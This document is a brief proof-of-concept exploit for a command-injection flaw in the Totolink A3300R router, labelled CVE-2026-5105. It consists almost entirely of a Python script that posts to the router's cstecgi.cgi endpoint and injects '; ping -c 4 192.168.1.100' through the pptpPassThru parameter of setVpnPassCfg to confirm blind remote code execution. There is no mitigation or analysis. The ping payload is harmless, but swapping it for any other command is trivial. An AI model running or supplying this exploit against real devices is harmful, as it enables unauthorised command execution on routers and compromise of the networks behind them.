CVE-2026-5105: Totolink A3300R 命令注入漏洞

import requests # Target settings target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Vulnerable payload: Command injection using semicolon # Example payload to ping a controlled server to verify blind RCE payload = "; ping -c 4 192.168.1.100" # Headers (Cookie might be needed for PR:L requirement) headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=123456" # Placeholder for authenticated session } # Data payload targeting the vulnerable function and parameter data = { "function": "setVpnPassCfg", "pptpPassThru": payload } try: response = requests.post(target_url, headers=headers, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")